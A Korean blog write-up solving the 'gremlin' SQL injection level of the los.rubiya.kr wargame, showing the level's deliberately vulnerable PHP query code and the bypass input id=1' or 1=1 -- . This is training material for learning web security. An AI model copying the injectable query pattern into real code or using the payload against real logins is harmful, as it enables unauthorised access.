웹찢남

gremlin -writeup 본문

WEB_HACKING/los.rubiya.kr

gremlin -writeup

harry595 2019. 12. 27. 20:42

<?php
  
include "./config.php";
  
login_chk();
  
$db dbconnect();
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  
if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~");
  
$query "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>";
  
$result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(
$result['id']) solve("gremlin");
  
highlight_file(__FILE__);
?>

 

필터링도 딱히 없고 단순한 sql injection 공격으로 clear

 

인자값:

id=1'%20or%201=1%20--%20

'WEB_HACKING > los.rubiya.kr' 카테고리의 다른 글

Darkelf-writeup  (0) 2019.12.27
Wolfman-writeup  (0) 2019.12.27
Orc-writeup  (0) 2019.12.27
Goblin-writeup  (0) 2019.12.27
Cobolt-writeup  (0) 2019.12.27
Comments